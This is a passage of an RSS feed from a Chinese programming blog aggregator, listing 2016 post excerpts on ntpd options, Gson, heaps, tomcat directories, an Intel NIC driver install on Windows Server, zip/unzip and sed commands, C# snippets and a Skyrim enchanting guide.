      <link>https://bchobby.github.io/posts/009e301967b0716661718b88ba2a63bc/</link>
      <pubDate>Tue, 29 Mar 2016 13:37:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/009e301967b0716661718b88ba2a63bc/</guid>
      <description>ntpd就是ntp daemon。是一个系统的后台进程（system daemon），用来同步本地系统时钟和远程NTP时间服务器的时间，或者其他参考时间源。 该程序实现了全部的NTP4协议，并对版本3，2，1,进行了兼容。 的定义该程序可以工作在client/server模式，symmetric模式，broadcast模式。 ntpd通常需要一个配置文件/etc/ntp.conf，ntpd后面的选项和命令可以写在该配置文件中。通常，ntpd启动后会读取ntp.conf文件。也可以在ntpd后面接相应指令，让ntpd不考虑该配置文件。 ntpd可以自动发现远程服务器并自动配置。 nptd通常连续工作，隔一段时间调整一次系统时间。也可以在调整完系统时间后自动退出，如果没有收到NTP服务器的回复，将会超时退出。&#xA;ntpd选项：&#xA;-4：仅使用IPv4域名 -6：仅使用IPv6域名&#xA;-t key/trustedkey key : 添加一个秘钥到信任秘钥列表，可重复添加 -a/enable auth：对广播/多播客户端需要密码认证（默认） -A/disable auth : 不对广播/多播客户端进行密码认证（不推荐） -b：允许客户端与广播服务器同步 -r broadcastdelay：指定广播或多播服务器到客户端的默认的传播延迟。只有在不能自动计算该延迟时才使用&#xA;-c conffile : 指定配置文件（默认配置文件在/etc/ntp.conf） -f drift_file/driftfile drift_file : 指定时差记录文件 -k key_file/keys key_file : 指定密钥文件 -l log_file/logfile log_file : 指定日志文件 -p pid_file/pidfile pid_file : 指定记录ntpd进程ID的文件 -s stats_dir/statsdir stats_dir：指定统计文件&#xA;-q : ntpd一旦与服务器同步后即退出，该选项可以替代ntpdate程序。可与-g和-x选项组合使用。注意：该选项禁止校准内核时间。 -m：一旦系统时钟同步后，在nDNS上注册为可用服务器 -g：通常如果系统时间与服务器时间差别太大（默认是1000秒），ntpd则会自动退出，并记录到日志文件。该选项允许不理会该门限。但该命令只能有效一次，如果第一次同步后，客户端的时差依然超过门限，则ntpd会自动退出，并记录在日志文件。该命令可与-q和-x选项组合使用。 -x : 通常，如果客户端时间偏差比一个门限值小（通常为128ms），则时间会慢慢精调（slew），当比该门限大时，时间会立刻调整（step）。该指令将该门限设置成600s。这个门限有利于手动调整时间，但如果要用slew来调整该误差，则需要大概14天，因为UNIX调整时间的速度时0.5s/s。注意：该选项禁止校准内核时间。&#xA;-n : 不创建进程 -N：ntpd运行在最高优先级 -M：使用timeBeginPeriod提高调度的优先级到最高（1ms），该选项仅在windows系统有效。&#xA;-d : 不进入后台进程，工作在debug模式。允许打印调试信息，可以重复使用。类似于提高调试信息输出量的等级 -D level：指定调试信息输出量的等级</description>
    </item>
    <item>
      <title>UICollection scrollToItemAtIndexPath: 不工作的问题</title>
      <link>https://bchobby.github.io/posts/83d9bd497f9954ce7631f855755af77c/</link>
      <pubDate>Sat, 26 Mar 2016 23:02:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/83d9bd497f9954ce7631f855755af77c/</guid>
      <description>今天用UICollection 写了一个图片轮播器,但是 遇到了一个小bug ,记录一下,希望能帮到需要同样问题的小伙伴:&#xA;我在sb中View上拖了一个collectionView到上面,设置了DataSource和delegate代理, 在控制器的ViewDidload中用&#xA;[self.myCollectionscrollToItemAtIndexPath:indexPathatScrollPosition:UICollectionViewScrollPositionNoneanimated:NO]; 想设置一个起始偏移值,但是我发现,这个方法并不能工作,后来发现&#xA;每当在 UICollectionView 显示它的subview 之前调用scrollToItemAtIndexPath:atScrollPosition:Animated 方法，这个方法就不能工作。&#xA;所以要解决它，就应该在 viewController 中，在你能确认 CollectionView完全计算出其 subview 布局的地方去调用这个方法。比如在viewDidLayoutSubviews 里调用就没有问题。</description>
    </item>
    <item>
      <title>火车进站</title>
      <link>https://bchobby.github.io/posts/29c35e19c585fabc74cdbb895c05b103/</link>
      <pubDate>Wed, 23 Mar 2016 20:15:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/29c35e19c585fabc74cdbb895c05b103/</guid>
      <description>目描述：&#xA;描述给定一个正整数N代表火车数量,0 &amp;lt; N&amp;lt;10，接下来输入火车入站的序列，一共N辆火车，每辆火车以数字1-9编号。要求以字典序排序输出火车出站的序列号。知识点栈输出有多组测试用例，每一组第一行输入一个正整数N（0&amp;lt; N&amp;lt;10），第二行包括N个正整数，范围为1到9。输出输出以字典序排序的火车出站序列号，每个编号以空格隔开，每个输出序列换行，具体见sample。样例3 1 2 3样例输出1 2 3 1 3 2 2 1 3 2 3 1 3 2 1 分析：给定一个正整数N代表火车数量， 0&amp;lt;N&amp;lt;10 ，接下来输入火车入站的序列，一共N辆火车，每辆火车以数字1-9编号。要求以字典序排序输出火车出站的序列号。其实也就是输出所有可能的出栈序列。&#xA;样例输入：&#xA;3&#xA;1 2 3&#xA;样例输出：&#xA;1 2 3 1 3 2 2 1 3 2 3 1 3 2 1&#xA;解答： **其实核心就是一个栈，对于第K个数，在第K个数进栈之前，前面的 K-1 个数要么全部出去了，要么都在栈里面，要么部分在栈里面部分出去了。那么可以假想，在第K个数入栈之前，依次从栈里面出去 0个、1个、2个……栈.size()个，然后把第K个入栈，再对于 K+1个同样实施这样的方法——这就是个递归了。 出去了的保存在一个队列里面，没出站的保存在栈里面，最后一辆车处理完了递归结束并输出。**&#xA;代码如下：&#xA;#include&amp;lt;iostream&amp;gt; #include&amp;lt;stack&amp;gt; #include&amp;lt;vector&amp;gt; #include&amp;lt;algorithm&amp;gt; using namespace std; void train_out_orders(vector&amp;lt;int&amp;gt;&amp;amp; train, stack&amp;lt;int&amp;gt; s, vector&amp;lt;int&amp;gt; out, int cur_train, int n, vector&amp;lt;int*&amp;gt; &amp;amp;all_train_orders) { for (int i = s.</description>
    </item>
    <item>
      <title>Gson用法整理</title>
      <link>https://bchobby.github.io/posts/40e5150c105593a20efc4db07d09b8b6/</link>
      <pubDate>Tue, 22 Mar 2016 17:21:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/40e5150c105593a20efc4db07d09b8b6/</guid>
      <description>1 概述&#xA;Gson是Google提供的一款json解析工具，用来在Java对象和Json数据之前进行映射。其源代码位于github.&#xA;解析需要注意：&#xA;1、类里面的属性名必须和json字段里面的key一模一样，或者使用@SerializedName指定别名和json中的名字一模一样。 2、{} 代表一个对象 3、[]代表一个List 4、如果不想些get/set方法，需要吧属性设置为public&#xA;2 简单对象转化&#xA;Gson gson = new Gson(); //Model -&amp;gt; json, 其中myMode支持一般对象类型，内部可以包含对象嵌套，List对象类型等。 String json = gson.toJson(myModel); //json-&amp;gt;Model 1:myMode为简单对象，即内部不包含复杂对象嵌套 SimpleModel myModel = gson.fromJson(json, SimpleModel.class);&#xA;//json-&amp;gt;ComplexModel 2:myMode为嵌套对象，或者List组合对象等 Type type = new TypeToken(List&amp;gt;(){}.getType(); List list = gson.fromJson(json, type);&#xA;3 Gson注解和GsonBuilder&#xA;@Expose 导出标记注解，配合GsonBuilder使用(excludeFieldsWithoutExposeAnnotation此设置就是不使用没有@Expose注解的属性) @Expose (serialize = false, deserialize = false) ,serialize = false, deserialize = false,序列化和反序列化的时候都不包含此字段。默认设置都是为true。 transient申明字段以此来说明序列化和反序列化都不包含这个字段。 @SerializedName(“name”) 指定别名，也就是json中名字为别名name，实际名字是属性中定义的名字。也就是说序列化的时候，这个属性的名字会被替换成name,解析的时候name会被替换成属性名。 @Since(version) 用于维护版本，从某个版本version开始，有这个字段.和setVersion配合使用。 @Until(version) 用于维护版本，到某个版本version为止，没有这个字段。和setVersion配合使用。&#xA;GsonBuilder用来自定义输出的json格式，解析说明：&#xA;excludeFieldsWithoutExposeAnnotation 不导出没有@Expose注解的属性 enableComplexMapKeySerialization 支持key为map的复杂对象形式 setDateFormat(“yyyy-MM-dd HH:mm:ss:SSS”) 时间格式转化为制定格式 setFieldNamingPolicy(policy) 设置字段某些属性为policy，注:此注解对于实体上使用了@SerializedName注解的不会生效.</description>
    </item>
    <item>
      <title>winpe iso镜像下载(exe转iso获取)</title>
      <link>https://bchobby.github.io/posts/3db7df2ae160b9e52fb02853dbde6f10/</link>
      <pubDate>Sun, 20 Mar 2016 17:53:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3db7df2ae160b9e52fb02853dbde6f10/</guid>
      <description> winpe.iso文件获取方法:你可以直接网上下载如果找不到,就去老毛桃下载一个.exe的装机版,安装运行之后选择iso模式.点击生成iso镜像即可.亲测可用5 </description>
    </item>
    <item>
      <title>堆树（最大堆、最小堆）详解</title>
      <link>https://bchobby.github.io/posts/7c36e81b753ba6195a2147abee0ace59/</link>
      <pubDate>Wed, 16 Mar 2016 13:30:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7c36e81b753ba6195a2147abee0ace59/</guid>
      <description>一、堆树的定义&#xA;堆树的定义如下：&#xA;（1）堆树是一颗完全二叉树；&#xA;（2）堆树中某个节点的值总是不大于或不小于其孩子节点的值；&#xA;（3）堆树中每个节点的子树都是堆树。&#xA;当父节点的键值总是大于或等于任何一个子节点的键值时为最大堆。 当父节点的键值总是小于或等于任何一个子节点的键值时为最小堆。如下图所示，左边为最大堆，右边为最小堆。&#xA;二、堆树的操作&#xA;以最大堆为例进行讲解，最小堆同理。&#xA;原始数据为a[] = {4, 1, 3, 2, 16, 9, 10, 14, 8, 7}，采用顺序存储方式，对应的完全二叉树如下图所示：&#xA;（1）构造最大堆&#xA;在构造堆的基本思想就是：首先将每个叶子节点视为一个堆，再将每个叶子节点与其父节点一起构造成一个包含更多节点的对。&#xA;所以，在构造堆的时候，首先需要找到最后一个节点的父节点，从这个节点开始构造最大堆；直到该节点前面所有分支节点都处理完毕，这样最大堆就构造完毕了。&#xA;假设树的节点个数为n，以1为下标开始编号，直到n结束。对于节点i，其父节点为i/2；左孩子节点为i*2，右孩子节点为i*2+1。最后一个节点的下标为n，其父节点的下标为n/2。&#xA;如下图所示，最后一个节点为7，其父节点为16，从16这个节点开始构造最大堆；构造完毕之后，转移到下一个父节点2，直到所有父节点都构造完毕。&#xA;C++代码实现：&#xA;定义存放堆的结构如下：&#xA;strcut MaxHeap { Etype *heap; int HeapSize; int MaxSize; }; MaxHeap H; 其中，heap是数据元素存放的空间，下标从1开始存数数据，下标为0的作为工作空间，存储临时数据。HeapSize是数据元素的个数，MaxSize是存放数据元素空间的大小。&#xA;初始化堆方法如下：&#xA;void MaxHeapInit (MaxHeap &amp;amp;H) { for(int i = H.HeapSize/2; i&amp;gt;=1; i--) { H.heap[0] = H.heap[i]; int son = i*2; while(son &amp;lt;= H.HeapSize) { if(son &amp;lt; H.HeapSize &amp;amp;&amp;amp; H.</description>
    </item>
    <item>
      <title>不小心删掉了/bin目录，导致许多命令丢失了</title>
      <link>https://bchobby.github.io/posts/bcbeb1817cc2e9345a22ce72c311321c/</link>
      <pubDate>Tue, 15 Mar 2016 18:32:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bcbeb1817cc2e9345a22ce72c311321c/</guid>
      <description>由于误操作，不小心把/bin目录给误删了，结果崩溃了，很多常用的命令都找不到，而公司有没有光盘，其他的服务器和这个服务器又不是同一个版本，公司也没有备份LINUX服务器的文件。&#xA;解决办法及步骤：&#xA;下载一个版本一样的ISO镜像文件（我们这里是centos5.5），然后装在虚拟机里面。&#xA;把虚拟机里面的/bin文件传给服务器上面（前提你的虚拟机要有unzip）&#xA;转载于:https://blog.51cto.com/jinbao/1751444</description>
    </item>
    <item>
      <title>tomcat配置 —— 各个目录的作用</title>
      <link>https://bchobby.github.io/posts/d22ae3f8715e124d1d38c211c6bbde69/</link>
      <pubDate>Sat, 12 Mar 2016 16:18:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d22ae3f8715e124d1d38c211c6bbde69/</guid>
      <description> tomcat各目录（文件）作用 • tomcat-7.0.50解压版，主目录一览： 我们可以看到主目录下有bin,conf,lib,logs,temp,webapps,work 7个文件夹，下面对他们分别进行介绍： • bin目录主要是用来存放tomcat的命令，主要有两大类，一类是以.sh结尾的（linux命令），另一类是以.bat结尾的（windows命令）。 重要： 很多环境变量的设置都在此处，例如可以设置JDK路径、TOMCAT路径 startup 用来启动tomcat shutdown 用来关闭tomcat 修改catalina可以设置tomcat的内存 • conf目录主要是用来存放tomcat的一些配置文件。 重要： server.xml可以设置端口号、设置域名或IP、默认加载的项目、请求编码 web.xml可以设置tomcat支持的文件类型 context.xml可以用来配置数据源之类的 tomcat-users.xml用来配置管理tomcat的用户与权限 在Catalina目录下可以设置默认加载的项目 • lib目录主要用来存放tomcat运行需要加载的jar包。 例如，像连接数据库的jdbc的包我们可以加入到lib目录中来。 • logs目录用来存放tomcat在运行过程中产生的日志文件，非常重要的是在控制台输出的日志。（清空不会对tomcat运行带来影响） 在windows环境中，控制台的输出日志在catalina.xxxx-xx-xx.log文件中 在linux环境中，控制台的输出日志在catalina.out文件中 • temp目录用户存放tomcat在运行过程中产生的临时文件。（清空不会对tomcat运行带来影响） • webapps目录用来存放应用程序，当tomcat启动时会去加载webapps目录下的应用程序。可以以文件夹、war包、jar包的形式发布应用。 当然，你也可以把应用程序放置在磁盘的任意位置，在配置文件中映射好就行。 • work目录用来存放tomcat在运行时的编译后文件，例如JSP编译后的文件。 清空work目录，然后重启tomcat，可以达到清除缓存的作用。 </description>
    </item>
    <item>
      <title>解决在Windows server 2012R2上无法安装Intel I219-V,I211，I217-V,I218-V网卡驱动的问题</title>
      <link>https://bchobby.github.io/posts/4ee462aad4d85cdc7bee4f67e4a10ba1/</link>
      <pubDate>Fri, 11 Mar 2016 12:46:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4ee462aad4d85cdc7bee4f67e4a10ba1/</guid>
      <description>应该是从H97系列开始，主板厂商均开始使用了Intel发布的I217-V/218-V/219-V等一系列的网卡芯片，这些集成网卡在主板厂商的官网上均找不到针对Windows server 2008/2012的驱动，直接通过Windows7的安装方式安装，直接就提示在此机器上没有Intel的网卡，也是醉了，个中原因未知。 当然，哪里有压迫，哪里就有反抗，办法肯定是有的，接下来博主就以刚出来的H170系列集成的I219-V/I211这两款网卡为例，在介绍如何在Windows server2012R2上安装这两款网卡的驱动程序，话不多说，开始：&#xA;准备工作：&#xA;一台安装H170主板的PC，系统为Windows server2012R2Intel官网下载的名称为PROWinx64的驱动程序 1、解压刚才下载的驱动，解压到任意文件夹，如图： 2、依次进入PRO1000—&amp;gt;Winx64—&amp;gt;NDIS64文件夹，找到名称为e1d64x64的文件 3、使用记事本打开此文件，找到I219-V这一行，复制一下对应的ID： 4、在此文件最上面的Intel.NTamd64.6.3.1这个键下面，找到此ID对应的数据，复制下来，例如本文中是：E1570.6.3.1，如图： 5、在Intel.NTamd64.6.3.1这个键下面，还有一个名叫Intel.NTamd64.6.3的，可以看到，这个键下面的内容和上面那个有一点区别，就是少了E1570.6.3.1，那么我们就把刚才复制的E1570.6.3.1的3行都加到Intel.NTamd64.6.3的最后面，然后保存，关闭此文件。 6、打开命令行，分别执行下面两句命令，然后重启系统：&#xA;bcdedit -set loadoptions DISABLE_INTEGRITY_CHECKS bcdedit -set TESTSIGNING ON 此段代码主要是开启测试模式，在测试模式下才能安装未经过签名的驱动（应为我们之前对驱动配置文件进行了修改）。 7、重启完成后，在设备管理器中找到网卡，分别进入如下菜单： 更新驱动程序—&amp;gt;浏览计算机查找文件—&amp;gt;从计算机的设备驱动列表中选取—-&amp;gt;从磁盘安装—-&amp;gt;定位到刚才修改的那个e1d64x64文件，就会出现如下的图： 从列表中选择I219-V，点击下一步，就开始安装了，驱动安装完成后，执行如下命令，然后重启计算机：&#xA;bcdedit -set loadoptions ENABLE_INTEGRITY_CHECKS bcdedit -set TESTSIGNING OFF 此段命令就是开启驱动签名检查。 8、I211驱动的安装方法和I219-V一样，只不过对应的文件不是在NDIS64文件夹，而是在NDIS63文件夹中的e1r63x64文件中。而I217-V和I218-V均和I219-V一个文件内，这里就不一一列举了。&#xA;9、希望后续Intel会出官方签名版的驱动吧，不过可能性不大。。。也希望即将到来的Windows server 2016能把这个问题解决了，虽然这个可能性更不大。。。</description>
    </item>
    <item>
      <title>CentOS中zip压缩和unzip解压缩命令详解</title>
      <link>https://bchobby.github.io/posts/ade5df4668acbf123d3418ab16ce5545/</link>
      <pubDate>Thu, 10 Mar 2016 11:10:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ade5df4668acbf123d3418ab16ce5545/</guid>
      <description>以下命令均在/home目录下操作&#xA;cd /home #进入/home目录 1、把/home目录下面的mydata目录压缩为mydata.zip&#xA;zip -r mydata.zip mydata #压缩mydata目录&#xA;2、把/home目录下面的mydata.zip解压到mydatabak目录里面 unzip mydata.zip -d mydatabak&#xA;3、把/home目录下面的abc文件夹和123.txt压缩成为abc123.zip zip -r abc123.zip abc 123.txt&#xA;4、把/home目录下面的wwwroot.zip直接解压到/home目录里面&#xA;unzip wwwroot.zip&#xA;5、把/home目录下面的abc12.zip、abc23.zip、abc34.zip同时解压到/home目录里面&#xA;unzip abc\*.zip&#xA;6、查看把/home目录下面的wwwroot.zip里面的内容&#xA;unzip -v wwwroot.zip&#xA;7、验证/home目录下面的wwwroot.zip是否完整&#xA;unzip -t wwwroot.zip&#xA;8、把/home目录下面wwwroot.zip里面的所有文件解压到第一级目录&#xA;unzip -j wwwroot.zip&#xA;系统运维 温馨提醒：qihang01原创内容版权所有,转载请注明出处及原文链接&#xA;=====================================================&#xA;主要参数&#xA;-c：将解压缩的结果&#xA;-l：显示压缩文件内所包含的文件&#xA;-p：与-c参数类似，会将解压缩的结果显示到屏幕上，但不会执行任何的转换&#xA;-t：检查压缩文件是否正确&#xA;-u：与-f参数类似，但是除了更新现有的文件外，也会将压缩文件中的其它文件解压缩到目录中&#xA;-v：执行是时显示详细的信息&#xA;-z：仅显示压缩文件的备注文字&#xA;-a：对文本文件进行必要的字符转换&#xA;-b：不要对文本文件进行字符转换&#xA;-C：压缩文件中的文件名称区分大小写&#xA;-j：不处理压缩文件中原有的目录路径&#xA;-L：将压缩文件中的全部文件名改为小写&#xA;-M：将输出结果送到more程序处理&#xA;-n：解压缩时不要覆盖原有的文件&#xA;-o：不必先询问用户，unzip执行后覆盖原有文件&#xA;-P&amp;lt;密码&amp;gt;：使用zip的密码选项&#xA;-q：执行时不显示任何信息&#xA;-s：将文件名中的空白字符转换为底线字符&#xA;-V：保留VMS的文件版本信息&#xA;-X：解压缩时同时回存文件原来的UID/GID&#xA;linux操作系统下怎样解压rar文件 rar格式的文件是在windows操作系统中常见的压缩格式，但是这种格式在linux操作系统中却不能正常解压缩，因为linux默认不支持这种格式，难道我们在linux操作系统中就不能解压这种文件了吗，答案只有一个，能，那么我们怎样在linux操作系统中解压rar文件呢?(以fedora操作系统为例) 方法/步骤 首先解压rar文件需要unrar命令，要使用这种命令我们必须安装rarlinux，我们可以在终端使用yum installrar，如果没有可安装的程序包，我们可以自行下载，上网搜搜就能搜到。&#xA;安装rarlinux，安装此程序必须使用root身份才能安装，首先我们要以root身份运行，然后打开下载目录，使用tar命令解压缩rarlinux文件，当然你可以选择解压缩的位置，为了方便，小编就解压在了当前目录。</description>
    </item>
    <item>
      <title>c#模拟用户登录</title>
      <link>https://bchobby.github.io/posts/ea0cec028d02539ae48c92b6333f05c4/</link>
      <pubDate>Wed, 09 Mar 2016 18:51:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ea0cec028d02539ae48c92b6333f05c4/</guid>
      <description>最近做比赛，因为网站需要保证登陆的用户是本校的学生，而学校又不可能给我们数据库，所以想到用WebRequest和WebResponse模拟登陆学校教务系统来检测学号和密码来解决，由于之前从没接触过，苦苦查了n多博客教程，看了N多图书馆的c#的书，问了N多大神。。。才勉强解决。。。。。总之往事不堪回首上代码。。。。&#xA;static void Main(string[] args) { string loginUri = &#34;http://xxxxxx/loginAction.do&#34;; //校网登陆的用户名 string username = &#34;xxxxxxx&#34;; //登录密码 string password = &#34;xxxx&#34;; //拼接post的数据 string post = &#34;mm=&#34; + password+&#34;&amp;amp;zjh=&#34; + username ; //将字符串以UTF格式编码转换成字节数组 byte[] postData = Encoding.UTF8.GetBytes(post); //存储cookies数据，但是在这里我没用过 CookieContainer cc = new CookieContainer(); var request = (HttpWebRequest)WebRequest.Create(loginUri); request.Proxy = null; request.CookieContainer = cc; request.Method = &#34;POST&#34;; request.ContentType = &#34;application/x-www-form-urlencoded&#34;; request.ContentLength = post.Length; using (Stream s = request.GetRequestStream()) s.Write(postData, 0, post.Length); StreamReader sr = null; //读取服务器响应 using (var response = (HttpWebResponse)request.</description>
    </item>
    <item>
      <title>C#二进制数组的字符串形式转换为二进制Byte数组</title>
      <link>https://bchobby.github.io/posts/1a0ac6d65f9704ddda4ef86f1f981ca3/</link>
      <pubDate>Wed, 09 Mar 2016 10:10:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1a0ac6d65f9704ddda4ef86f1f981ca3/</guid>
      <description> ﻿﻿ 二进制数组的字符串形式转换为二进制Byte数组&#xA;if ((sBinText.Length % 2) != 0) sBinText += &#34; &#34;; bLabelContent = new byte[sBinText.Length / 2]; string sTmp; for (int i = 0; i &amp;lt; bLabelContent.Length; i++) { sTmp = sBinText.Substring(i * 2, 2); bLabelContent[i] = Convert.ToByte(sTmp, 16); } </description>
    </item>
    <item>
      <title>C#读取、保存二进制数据文件</title>
      <link>https://bchobby.github.io/posts/6ef285e35a1cb633b0a5a771c352bde4/</link>
      <pubDate>Wed, 09 Mar 2016 09:43:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6ef285e35a1cb633b0a5a771c352bde4/</guid>
      <description> 保存二进制数据文件&#xA;FileStream fs = new FileStream(sFileName, FileMode.OpenOrCreate); BinaryWriter binWriter = new BinaryWriter(fs); binWriter.Write(labelContent, 0, labelContent.Length); binWriter.Close(); fs.Close(); 读取二进制数据文件&#xA;byte[] bBuffer; FileStream fs = new FileStream(sFileName, FileMode.Open); BinaryReader binReader = new BinaryReader(fs); bBuffer = new byte[fs.Length]; binReader.Read(bBuffer, 0, (int)fs.Length); binReader.Close(); fs.Close(); </description>
    </item>
    <item>
      <title>二进制权限控制</title>
      <link>https://bchobby.github.io/posts/dcf4c8864ff077f1c8b2a92caaf83114/</link>
      <pubDate>Mon, 07 Mar 2016 20:42:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dcf4c8864ff077f1c8b2a92caaf83114/</guid>
      <description>在平时的工作中，有时会遇到权限问题，尤其是OA系统上，关于权限的问题尤为重要，这里我使用二进制中的运算符来实现类似的功能&#xA;快速入门 每一个操作权限都用一个二进制数表示（1、10、100、1000）。总共的权限种类有2^n种，n即代表权限类别&#xA;public static void main(String[] args) { // 每一个操作权限都用一个二进制数表示（1、10、100、1000）。总共的权限种类有2^n种，n即代表权限类别 int first = 1; // 001 状态first int second = 2; // 010 状态second int third = 4; // 100 状态third int firstsecond = first | second; // 001 | 010 = 011 初始状态 System.out.println(firstsecond | third); // 011 | 100 = 111 添加third的状态 System.out.println(firstsecond &amp;amp; (~second)); // 011 &amp;amp; (~010) = 011 &amp;amp; 101 = 001 去除second的状态 System.</description>
    </item>
    <item>
      <title>XCode7添加自定义framework 比如加入swiftjson.framework框架后运行真机出现dyld: Library not loaded的解决方法</title>
      <link>https://bchobby.github.io/posts/e624b9348547c88caea982558a69c34d/</link>
      <pubDate>Fri, 04 Mar 2016 10:45:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e624b9348547c88caea982558a69c34d/</guid>
      <description>特别是由别人那里发过来的源文件，总是会出现依赖问题，&#xA;注意要在两个地方添加framework这样才会完美解决问题。&#xA;以下我截张图给大家，我不像别人那样说一半藏一半&#xA;两个地方都要加入swiftyjson.framework</description>
    </item>
    <item>
      <title>上古卷轴5附魔挣钱方法</title>
      <link>https://bchobby.github.io/posts/2342ef65908a05356f7fa48538d0a9e1/</link>
      <pubDate>Wed, 24 Feb 2016 11:06:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2342ef65908a05356f7fa48538d0a9e1/</guid>
      <description>网上的介绍有很多了，结合个人玩法写点儿感想。&#xA;要挣钱最简单的方法是练三大，但练三大其实并不轻松，需要很长的过程和非常多的操作，最大问题是会显著降低游戏难度。特别当装了一些插件，比如种草的插件，可以制作出非常强力的毒药（因为可以种加林根了），即使是龙，毒一次也能掉25%的血，普通怪经不起毒一次。&#xA;在练了新号后，我的做法从练三大退化到只练附魔。能达到挣钱的目的，同时也能一定程度上保证游戏的平衡性，不至于变得那么简单。&#xA;从何时开始呢？答案是学会“灵魂陷阱”这种附魔就可以考虑开始通过附魔挣钱了。平时可以多关注下铁匠铺，看有没有便宜的含有“灵魂陷阱”附魔的武器卖。&#xA;首先得需要一些本钱，大概1千，两千就够了，主要用来买空的灵魂石。在攒钱时，就什么垃圾都需要捡了。&#xA;其次，得到的普通魔法装备，卖店和分解都行。其实优先选卖店吧，毕竟钱更重要。&#xA;第三，有几种关键的附魔是必须要学的。“灵魂陷阱”必须有。另外，需要学会一些值钱的附魔。从效益上讲，武器附魔是优选，麻痹、驱除、驱散是比较值钱的。如果专为了挣钱，理论上就学这四种就可以了。如果钱够，从店里买有以上一种附魔的武器来分解掉学习也是可以的。&#xA;剩下的就是给自己的武器附魔上“灵魂陷阱”，然后带够空灵魂石出去打怪。怪物打死后，灵魂会被灵魂石吸收，这种填满的灵魂石可以用于附魔，也可以给附魔武器加魔能。因此，优先捡武器就可以。捡到的武器可以在附魔台上附魔，然后卖店就可以挣钱了。挣了钱，再买空灵魂石带着出去打怪。差不多就是这个循环。&#xA;初期钱少，买灵魂石的时候要非常小心，不要买高级灵魂石，很贵，只买微型、小型灵魂石即可。但这种灵魂石只能吸收一般动物的灵魂，蜘蛛、狼、狗熊什么的。大型灵魂石可以吸收尸鬼的灵魂，黑灵魂石可以吸收人类的灵魂。因此，初期也可以多在野外逛逛，杀点儿蜘蛛、狼什么的。&#xA;需要注意灵魂石的级别。高级灵魂石可以吸收低级灵魂，反着不行，这也是有点儿钱以后仍然要买低级灵魂石的原因。否则，会发现低级灵魂占据了高级灵魂石，再打死高级怪物时，无灵魂石可用就不值了。&#xA;一般的灵魂石是使用（充魔能或附魔）后消失，而任务给的特殊的灵魂石“黑暗之星”，是使用后不会消失的灵魂石。不过如果不装电力工作站插件的话，意义不大（相当于每次出门带了一个黑灵魂石）。&#xA;由于在打怪过程中会捡到非常多的武器，因此可以考虑在附魔达到100级后将其升级成传奇技能，继续从15级开始练。由于此时肯定已经学会值钱的附魔了，同时，升级速度正比于附魔武器的价格，因此练起来会非常快，还会获得人物经验值，不过就是有点儿无聊了。&#xA;附魔技能树的处理。可以一个都不点，早晚都能到100，只是时间问题。每次为物品附魔时，都会增加一定的附魔技能经验，经验到达了技能就会升级。但附魔一次获得技能经验的多少与物品附魔后能卖多少钱是正比关系，因此，如果想加快附魔升级速度，可以考虑点最底层的5个，这样附魔出来的东西卖价会提高，升级速度也就快。要是为了附魔效果的话，最顶层的“额外效果”是必须点了，可以为一件装备附魔两个效果，比如“吸取耐力”+“吸取法力”，制成这样的产品会获得更多的技能经验，卖店也是很有赚头的。&#xA;最后，除了口才、友好度影响物品卖店价格以外，在马卡斯城的入口右手边第一间屋子的杂货商可能卖一个商人降价10%的项链。任务给的卡拉维库斯.维尔头盔可以降价20%，好像只有这两样能够降低价格，实在是居家旅行杀人越货之必备啊:-)</description>
    </item>
    <item>
      <title>HIVE 0.14 Cost Based Optimizer (CBO) Technical Overview</title>
      <link>https://bchobby.github.io/posts/5609c295346dbefe7cf3ff7abcfd64de/</link>
      <pubDate>Tue, 16 Feb 2016 13:27:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5609c295346dbefe7cf3ff7abcfd64de/</guid>
      <description>Analysts and data scientists⎯not to mention business executives⎯want Big Data not for the sake of the data itself, but for the ability to work with and learn from that data. As other users become more savvy, they also want more access. But too many inefficient queries can create a bottleneck in the system.&#xA;The good news is that Apache™ Hive 0.14—the standard SQL interface for processing, accessing and analyzing Apache Hadoop® data sets—is now powered by Apache Calcite.</description>
    </item>
    <item>
      <title>shell脚本之sed使用----替换、变量、转义字符</title>
      <link>https://bchobby.github.io/posts/a7f526d545eec7c2c2dfb579965813db/</link>
      <pubDate>Mon, 15 Feb 2016 13:33:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a7f526d545eec7c2c2dfb579965813db/</guid>
      <description>sed替换的基本语法为:&#xA;----s后面跟的是分隔符，原字符串可使用.*这种正则表达式进行整行替换&#xA;复制代码 代码如下: sed &#39;s/原字符串/替换字符串/&#39; 单引号里面,s表示替换,三根斜线中间是替换的样式,特殊字符需要使用反斜线”\”进行转义,但是单引号”‘”是没有办法用反斜线”\”转义的,这时候只要把命令中的单引号改为双引号就行了,例如: 复制代码 代码如下: sed &#34;s/原字符串包含&#39;/替换字符串包含&#39;/&#34; //要处理的字符包含单引号 命令中的三根斜线分隔符可以换成别的符号,这在要替换的内容有较多斜线是较为方便,只需要紧跟s定义即可,例如换成问号”?”: 复制代码 代码如下: sed &#39;s?原字符串?替换字符串?&#39; //自定义分隔符为问号 可以在末尾加g替换每一个匹配的关键字,否则只替换每行的第一个,例如: 复制代码 代码如下: sed &#39;s/原字符串/替换字符串/&#39; //替换所有匹配关键字 上箭头”^”表示行首,美元”$”符号如果在引号中表示行尾,但是在引号外却表示末行(最后一行),这里犯二了,搜了半天哪个符号表示首行,半天才想起来,首行就是数字”1″啊.那么在行首和行尾添加字符串就是把行尾和行首替换,例如: 复制代码 代码如下: sed &#39;s/^/添加的头部&amp;amp;/g&#39; //在所有行首添加 sed &#39;s/$/&amp;amp;添加的尾部/g&#39; //在所有行末添加 sed &#39;2s/原字符串/替换字符串/g&#39; //替换第2行 sed 